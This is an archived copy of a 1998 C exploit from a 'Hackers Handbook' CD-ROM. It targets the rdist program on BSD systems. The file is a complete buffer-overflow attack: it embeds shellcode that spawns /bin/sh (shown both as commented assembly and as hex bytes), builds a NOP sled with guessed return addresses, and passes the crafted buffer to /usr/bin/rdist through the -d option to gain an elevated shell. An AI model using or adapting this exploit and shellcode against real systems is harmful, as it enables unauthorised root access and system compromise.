home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / rdist-bsd.sh < prev    next >
Encoding:
Text File  |  1998-10-15  |  2.3 KB  |  118 lines

  1. /* cut here */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5.  
  6. #define DEFAULT_OFFSET  50
  7. #define BUFFER_SIZE  256
  8.  
  9. long get_esp(void)
  10. {
  11.    __asm__("movl %esp,%eax\n");
  12. }
  13.  
  14. main(int argc, char **argv)
  15. {
  16.    char *buff = NULL;
  17.    unsigned long *addr_ptr = NULL;
  18.    char *ptr = NULL;
  19.  
  20. /* so you dont have to disassemble it, here is the asm code:
  21. start:
  22. jmp     endofk0dez
  23. realstart:
  24. popl    %esi
  25. leal    (%esi), %ebx
  26. movl    %ebx, 0x0b(%esi)
  27. xorl    %edx, %edx
  28. movl    %edx, 7(%esi)
  29. movl    %edx, 0x0f(%esi)
  30. movl    %edx, 0x14(%esi)
  31. movb    %edx, 0x19(%esi)
  32. xorl    %eax, %eax
  33. movb    $59, %al
  34. leal    0x0b(%esi), %ecx
  35. movl    %ecx, %edx
  36. pushl   %edx
  37. pushl   %ecx
  38. pushl   %ebx
  39. pushl   %eax
  40. jmp     bewm
  41. endofk0dez:
  42. call    realstart
  43. .byte   '/', 'b', 'i', 'n', '/', 's', 'h'
  44. .byte   1, 1, 1, 1
  45. .byte   2, 2, 2, 2
  46. .byte   3, 3, 3, 3
  47. bewm:
  48. .byte   0x9a, 4, 4, 4, 4, 7, 4
  49. */
  50.    
  51.    char execshell[] =
  52.    "\xeb\x23"
  53.    "\x5e"
  54.    "\x8d\x1e"
  55.    "\x89\x5e\x0b"
  56.    "\x31\xd2"
  57.    "\x89\x56\x07"
  58.    "\x89\x56\x0f"
  59.    "\x89\x56\x14"
  60.    "\x88\x56\x19"
  61.    "\x31\xc0"
  62.    "\xb0\x3b"
  63.    "\x8d\x4e\x0b"
  64.    "\x89\xca"
  65.    "\x52"
  66.    "\x51"
  67.    "\x53"
  68.    "\x50"
  69.    "\xeb\x18"
  70.    "\xe8\xd8\xff\xff\xff"
  71.    "/bin/sh"
  72.    "\x01\x01\x01\x01"
  73.    "\x02\x02\x02\x02"
  74.    "\x03\x03\x03\x03"
  75.    "\x9a\x04\x04\x04\x04\x07\x04";
  76.    
  77.    int i;
  78.    int ofs = DEFAULT_OFFSET;
  79.  
  80.    /* if we have a argument, use it as offset, else use default */
  81.    if(argc == 2)
  82.       ofs = atoi(argv[1]);   
  83.    /* print the offset in use */
  84.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  85.    
  86.    buff = malloc(4096);
  87.    if(!buff)
  88.    {
  89.       printf("can't allocate memory\n");
  90.       exit(0);
  91.    }
  92.    ptr = buff;
  93.    /* fill start of buffer with nops */
  94.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  95.    ptr += BUFFER_SIZE-strlen(execshell);
  96.    /* stick asm code into the buffer */
  97.    for(i=0;i < strlen(execshell);i++) 
  98.       *(ptr++) = execshell[i];
  99.    /* write the return addresses
  100.    **
  101.    ** return address    4
  102.    ** ebp     4
  103.    ** register unsigned n   0
  104.    ** register char *cp    0
  105.    ** register struct syment *s   0
  106.    **
  107.    ** total: 8
  108.    */
  109.    addr_ptr = (long *)ptr;
  110.    for(i=0;i < (8/4);i++)
  111.       *(addr_ptr++) = get_esp() + ofs;
  112.    ptr = (char *)addr_ptr;
  113.    *ptr = 0;
  114.    execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  115. }
  116. /* cut here */
  117.  
  118.